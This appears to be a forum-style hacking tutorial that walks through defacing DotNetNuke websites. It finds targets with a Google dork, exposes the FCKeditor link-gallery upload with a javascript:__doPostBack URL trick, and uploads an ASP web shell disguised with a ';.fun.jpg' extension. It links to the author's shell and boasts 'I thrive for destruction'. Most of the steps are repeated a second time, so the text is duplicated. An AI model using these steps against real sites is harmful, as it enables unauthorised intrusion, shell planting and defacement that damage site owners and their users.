Step one: Google dork (inurl:/tabid/36/language/en-US/Default.aspx)
Step two: Replace /tabid/36/language/en-US/Default.aspx with
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Step three: Make sure you check root
Step four: Place javascript code in url then enter
javascript :__doPostBack('ctlURL$cmdUpload','')
Delete the space after javascript
Step five: Upload bar will appear, upload your asp shell.
Step six: Locate shell
The shell location will be like this.
http://www.example.com/portals/0/cmd.asp;.fun.jpg
Step seven: Deface
Below is the ASP shell I use.
http://depositfiles.com/files/zwfyinhsk
It's in a rar archive as you can tell, but it's just the shell in text format renamed already for you.
I thrive for destruction heheheh
Step two: Replace /tabid/36/language/en-US/Default.aspx with
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Step three: Make sure you check root
Step four: Place javascript code in url then enter
javascript :__doPostBack('ctlURL$cmdUpload','')
Delete the space after javascript
Step five: Upload bar will appear, upload your asp shell.
Step six: Locate shell
The shell location will be like this.
http://www.example.com/portals/0/cmd.asp;.fun.jpg
Step seven: Deface
Below is the ASP shell I use.
http://depositfiles.com/files/zwfyinhsk
It's in a rar archive as you can tell, but it's just the shell in text format renamed already for you.
I thrive for destruction heheheh